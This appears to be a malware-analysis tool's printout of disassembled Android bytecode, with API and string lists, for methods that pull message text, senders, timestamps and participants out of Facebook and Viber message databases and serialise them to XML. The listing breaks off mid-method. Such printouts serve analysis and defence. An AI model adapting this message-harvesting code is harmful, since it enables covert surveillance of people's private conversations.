      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.List.size
      • java.util.List.get
      • java.lang.StringBuilder.append
      • java.util.List.size
      • java.util.List.get
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • GetContentIM addImSingleEntryFaceebook index:
      • text
      • msg_id
      • thread_id
      • sender
      • timestamp
      • participants
      • GetContentIM addImSingleEntryFaceebook EMPTY MESSAGE -> \tCONTINUE:
      • GetContentIM addImSingleEntryFaceebook msg:
      • , sender jSon
      • GetContentIM addImSingleEntryFaceebook timestamp_ms
      • , participants jSon
      • GetContentIM addImSingleEntryFaceebook by date:
      • unknown
      • user_key
      • name
      • GetContentIM addImSingleEntryFaceebook fromName:
      • , fromContactId:
      • ,
      • GetContentIM addImSingleEntryFaceebook json object parser exception-
      • GetContentIM addImSingleEntryFaceebook participantsSb:
      • GetContentIM addImSingleEntryFaceebook participantsNumbersSb:
      • GetContentIM addImSingleEntryFaceebook iter exception-
      Position Instruction Meta Information
      0try_start_0: new-instance v1, Ljava/lang/StringBuilder;
      2invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      3move-object/from16 v0, p2
      5invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      6move-result-object v1
      8const-string v2, "GetContentIM addImSingleEntryFaceebook index: "
      10invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      11move-result-object v1
      13invoke-interface {p0}, Landroid/database/Cursor;->getPosition()I
      14move-result v2
      16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      17move-result-object v1
      19invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      20move-result-object v1
      22invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      24const-string v1, "text"
      25move-object/from16 v0, p3
      27invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      28move-result-object v1
      29check-cast v1, Ljava/lang/String;
      31invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      32move-result v1
      34invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      35move-result-object v3
      37const-string v1, "msg_id"
      38move-object/from16 v0, p3
      40invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      41move-result-object v1
      42check-cast v1, Ljava/lang/String;
      44invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      45move-result v1
      47invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      48move-result-object v4
      50const-string v1, "thread_id"
      51move-object/from16 v0, p3
      53invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      54move-result-object v1
      55check-cast v1, Ljava/lang/String;
      57invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      58move-result v1
      60invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      61move-result-object v2
      63const-string v1, "sender"
      64move-object/from16 v0, p3
      66invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      67move-result-object v1
      68check-cast v1, Ljava/lang/String;
      70invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      71move-result v1
      73invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      74move-result-object v8
      76const-string v1, "timestamp"
      77move-object/from16 v0, p3
      79invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      80move-result-object v1
      81check-cast v1, Ljava/lang/String;
      83invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      84move-result v1
      86invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      87move-result-object v5
      89const-string v1, "participants"
      90move-object/from16 v0, p3
      92invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      93move-result-object v1
      94check-cast v1, Ljava/lang/String;
      96invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      97move-result v1
      99invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      100move-result-object v9
      101if-eqz v3, :cond_94
      103invoke-virtual {v3}, Ljava/lang/String;->length()I
      104move-result v1
      105if-nez v1, :cond_b5
      106cond_94: new-instance v1, Ljava/lang/StringBuilder;
      108invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      109move-object/from16 v0, p2
      111invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      112move-result-object v1
      114const-string v2, "GetContentIM addImSingleEntryFaceebook EMPTY MESSAGE -> \tCONTINUE: "
      116invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      117move-result-object v1
      119invoke-interface {p0}, Landroid/database/Cursor;->getPosition()I
      120move-result v2
      122invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      123move-result-object v1
      125invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      126move-result-object v1
      128invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      129goto_b4: return-void
      130cond_b5: new-instance v1, Ljava/lang/StringBuilder;
      132invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      133move-object/from16 v0, p2
      135invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      136move-result-object v1
      138const-string v6, "GetContentIM addImSingleEntryFaceebook msg:"
      140invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      141move-result-object v1
      143invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      144move-result-object v1
      146const-string v6, ", sender jSon"
      148invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      149move-result-object v1
      151invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      152move-result-object v1
      154invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      155move-result-object v1
      157invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      158new-instance v1, Ljava/lang/StringBuilder;
      160invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      161move-object/from16 v0, p2
      163invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      164move-result-object v1
      166const-string v6, "GetContentIM addImSingleEntryFaceebook timestamp_ms "
      168invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      169move-result-object v1
      171invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      172move-result-object v1
      174const-string v6, ", participants jSon"
      176invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      177move-result-object v1
      179invoke-virtual {v1, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      180move-result-object v1
      182invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      183move-result-object v1
      185invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      186try_end_101: new-instance v1, Ljava/lang/StringBuilder;
      188invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      189move-object/from16 v0, p2
      191invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      192move-result-object v1
      194const-string v6, "GetContentIM addImSingleEntryFaceebook by date:"
      196invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      197move-result-object v1
      198new-instance v6, Ljava/util/Date;
      200invoke-static {v5}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
      201move-result-wide v10
      203invoke-direct {v6, v10, v11}, Ljava/util/Date;-><init>(J)V
      205invoke-virtual {v6}, Ljava/util/Date;->toString()Ljava/lang/String;
      206move-result-object v6
      208invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      209move-result-object v1
      211invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      212move-result-object v1
      214invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      215try_start_12a:
      216const-string v7, "unknown"
      218const-string v6, "unknown"
      219new-instance v10, Ljava/lang/StringBuilder;
      221invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
      222new-instance v11, Ljava/lang/StringBuilder;
      224invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
      225try_end_138: new-instance v1, Lorg/json/JSONObject;
      227invoke-direct {v1, v8}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
      229const-string v8, "user_key"
      231invoke-virtual {v1, v8}, Lorg/json/JSONObject;->optString(Ljava/lang/String;)Ljava/lang/String;
      232move-result-object v8
      234invoke-virtual {v8}, Ljava/lang/String;->toString()Ljava/lang/String;
      235move-result-object v7
      237const-string v8, "name"
      239invoke-virtual {v1, v8}, Lorg/json/JSONObject;->optString(Ljava/lang/String;)Ljava/lang/String;
      240move-result-object v1
      242invoke-virtual {v1}, Ljava/lang/String;->toString()Ljava/lang/String;
      243move-result-object v6
      244new-instance v1, Ljava/lang/StringBuilder;
      246invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      247move-object/from16 v0, p2
      249invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      250move-result-object v1
      252const-string v8, "GetContentIM addImSingleEntryFaceebook fromName:"
      254invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      255move-result-object v1
      257invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      258move-result-object v1
      260const-string v8, ", fromContactId:"
      262invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      263move-result-object v1
      265invoke-virtual {v1, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      266move-result-object v1
      268invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      269move-result-object v1
      271invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      272try_end_177: move-object v14, v6
      273move-object v6, v7
      274move-object v7, v14
      275goto_17a: new-instance v12, Ljava/util/LinkedList;
      277invoke-direct {v12}, Ljava/util/LinkedList;-><init>()V
      278new-instance v13, Ljava/util/LinkedList;
      280invoke-direct {v13}, Ljava/util/LinkedList;-><init>()V
      281move-object/from16 v0, p2
      283invoke-static {v0, v9, v12, v13}, Lcom/network/android/p;->a(Ljava/lang/String;Ljava/lang/String;Ljava/util/List;Ljava/util/List;)V
      284const/4 v1, 0x0
      285move v8, v1
      286goto_18b:
      287invoke-interface {v12}, Ljava/util/List;->size()I
      288move-result v1
      289add-int/lit8 v1, v1, -0x1
      290if-ge v8, v1, :cond_1d8
      292invoke-interface {v12, v8}, Ljava/util/List;->get(I)Ljava/lang/Object;
      293move-result-object v1
      294check-cast v1, Ljava/lang/String;
      296invoke-virtual {v10, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      298const-string v1, ", "
      300invoke-virtual {v10, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      302invoke-interface {v13, v8}, Ljava/util/List;->get(I)Ljava/lang/Object;
      303move-result-object v1
      304check-cast v1, Ljava/lang/String;
      306invoke-virtual {v11, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      308const-string v1, ", "
      310invoke-virtual {v11, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      311add-int/lit8 v1, v8, 0x1
      312move v8, v1
      313goto/16 :goto_18b
      314catch_1b3: move-exception v1
      315new-instance v8, Ljava/lang/StringBuilder;
      317invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
      318move-object/from16 v0, p2
      320invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      321move-result-object v8
      323const-string v12, "GetContentIM addImSingleEntryFaceebook json object parser exception- "
      325invoke-virtual {v8, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      326move-result-object v8
      328invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      329move-result-object v12
      331invoke-virtual {v8, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      332move-result-object v8
      334invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      335move-result-object v8
      337invoke-static {v8, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      338move-object v14, v6
      339move-object v6, v7
      340move-object v7, v14
      341goto/16 :goto_17a
      342cond_1d8:
      343invoke-interface {v12}, Ljava/util/List;->size()I
      344move-result v1
      345add-int/lit8 v1, v1, -0x1
      347invoke-interface {v12, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
      348move-result-object v1
      349check-cast v1, Ljava/lang/String;
      351invoke-virtual {v10, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      353invoke-interface {v12}, Ljava/util/List;->size()I
      354move-result v1
      355add-int/lit8 v1, v1, -0x1
      357invoke-interface {v13, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
      358move-result-object v1
      359check-cast v1, Ljava/lang/String;
      361invoke-virtual {v11, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      362new-instance v1, Ljava/lang/StringBuilder;
      364invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      365move-object/from16 v0, p2
      367invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      368move-result-object v1
      370const-string v8, "GetContentIM addImSingleEntryFaceebook participantsSb: "
      372invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      373move-result-object v1
      375invoke-virtual {v1, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      376move-result-object v1
      378invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      379move-result-object v1
      381invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      382new-instance v1, Ljava/lang/StringBuilder;
      384invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      385move-object/from16 v0, p2
      387invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      388move-result-object v1
      390const-string v8, "GetContentIM addImSingleEntryFaceebook participantsNumbersSb: "
      392invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      393move-result-object v1
      395invoke-virtual {v1, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      396move-result-object v1
      398invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      399move-result-object v1
      401invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      403invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      404move-result-object v8
      406invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      407move-result-object v9
      408move-object/from16 v1, p1
      409move-object/from16 v10, p2
      411invoke-static/range {v1 .. v10}, Lcom/network/android/p;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
      412try_end_23d: goto/16 :goto_b4
      413catch_23f: move-exception v1
      414new-instance v2, Ljava/lang/StringBuilder;
      416invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      417move-object/from16 v0, p2
      419invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      420move-result-object v2
      422const-string v3, "GetContentIM addImSingleEntryFaceebook iter exception- "
      424invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      425move-result-object v2
      427invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      428move-result-object v3
      430invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      431move-result-object v2
      433invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      434move-result-object v2
      436invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      437goto/16 :goto_b4
      438catch_262: move-exception v1
      439goto/16 :goto_12a
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getPosition
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.String.equals
      • java.lang.String.equals
      • java.lang.StringBuilder.length
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.length
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.String.equals
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getPosition
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Long.parseLong
      • java.util.Date.<init>
      • java.util.Date.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • GetContentIM addImSingleEntryViber index:
      • text
      • msg_id
      • thread_id
      • timestamp
      • sender
      • id
      • type
      • number
      • name
      • 0
      • -
      • SELF
      • sender_type
      • sender_number
      • senderName
      • OUTGOING
      • GetContentIM addImSingleEntryViber EMPTY MESSAGE -> CONTINUE:
      • GetContentIM addImSingleEntryViber:
      • , sender id:
      • GetContentIM addImSingleEntryViber timestamp_ms:
      • GetContentIM addImSingleEntryViber by date:
      • GetContentIM addImSingleEntryViber participantsSb:
      • GetContentIM addImSingleEntryViber participantsNumbersSb:
      • GetContentIM addImSingleEntryViber iter exception-
      Position Instruction Meta Information
      0try_start_0: new-instance v1, Ljava/lang/StringBuilder;
      2invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      3move-object/from16 v0, p2
      5invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      6move-result-object v1
      8const-string v2, "GetContentIM addImSingleEntryViber index: "
      10invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      11move-result-object v1
      13invoke-interface {p0}, Landroid/database/Cursor;->getPosition()I
      14move-result v2
      16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      17move-result-object v1
      19invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      20move-result-object v1
      22invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      24const-string v1, "text"
      25move-object/from16 v0, p3
      27invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      28move-result-object v1
      29check-cast v1, Ljava/lang/String;
      31invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      32move-result v1
      34invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      35move-result-object v3
      37const-string v1, "msg_id"
      38move-object/from16 v0, p3
      40invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      41move-result-object v1
      42check-cast v1, Ljava/lang/String;
      44invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      45move-result v1
      47invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      48move-result-object v4
      50const-string v1, "thread_id"
      51move-object/from16 v0, p3
      53invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      54move-result-object v1
      55check-cast v1, Ljava/lang/String;
      57invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      58move-result v1
      60invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      61move-result-object v2
      63const-string v1, "timestamp"
      64move-object/from16 v0, p3
      66invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      67move-result-object v1
      68check-cast v1, Ljava/lang/String;
      70invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      71move-result v1
      73invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      74move-result-object v5
      76const-string v1, "sender"
      77move-object/from16 v0, p3
      79invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      80move-result-object v1
      81check-cast v1, Ljava/lang/String;
      83invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      84move-result v1
      86invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      87move-result-object v8
      88new-instance v9, Ljava/lang/StringBuilder;
      90invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
      91new-instance v10, Ljava/lang/StringBuilder;
      93invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
      94const/4 v1, 0x1
      95move v7, v1
      96goto_86: const/16 v1, 0x8
      97if-gt v7, v1, :cond_11d
      98new-instance v1, Ljava/lang/StringBuilder;
      100const-string v6, "id"
      102invoke-direct {v1, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      104invoke-virtual {v1, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      105move-result-object v1
      107invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      108move-result-object v1
      110invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      111move-result v1
      113invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      114move-result-object v11
      115new-instance v1, Ljava/lang/StringBuilder;
      117const-string v6, "type"
      119invoke-direct {v1, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      121invoke-virtual {v1, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      122move-result-object v1
      124invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      125move-result-object v1
      127invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      128move-result v1
      130invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      131move-result-object v12
      132new-instance v1, Ljava/lang/StringBuilder;
      134const-string v6, "number"
      136invoke-direct {v1, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      138invoke-virtual {v1, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      139move-result-object v1
      141invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      142move-result-object v1
      144invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      145move-result v1
      147invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      148move-result-object v6
      149new-instance v1, Ljava/lang/StringBuilder;
      151const-string v13, "name"
      153invoke-direct {v1, v13}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      155invoke-virtual {v1, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      156move-result-object v1
      158invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      159move-result-object v1
      161invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      162move-result v1
      164invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      165move-result-object v1
      167const-string v13, "0"
      169invoke-virtual {v11, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      170move-result v11
      171if-nez v11, :cond_118
      173const-string v11, "0"
      175invoke-virtual {v12, v11}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      176move-result v11
      177if-eqz v11, :cond_fc
      178if-nez v1, :cond_fc
      180const-string v6, "-"
      182const-string v1, "SELF"
      183cond_fc:
      184invoke-virtual {v9}, Ljava/lang/StringBuilder;->length()I
      185move-result v11
      186if-lez v11, :cond_107
      187const/16 v11, 0x2c
      189invoke-virtual {v9, v11}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
      190cond_107:
      191invoke-virtual {v10}, Ljava/lang/StringBuilder;->length()I
      192move-result v11
      193if-lez v11, :cond_112
      194const/16 v11, 0x2c
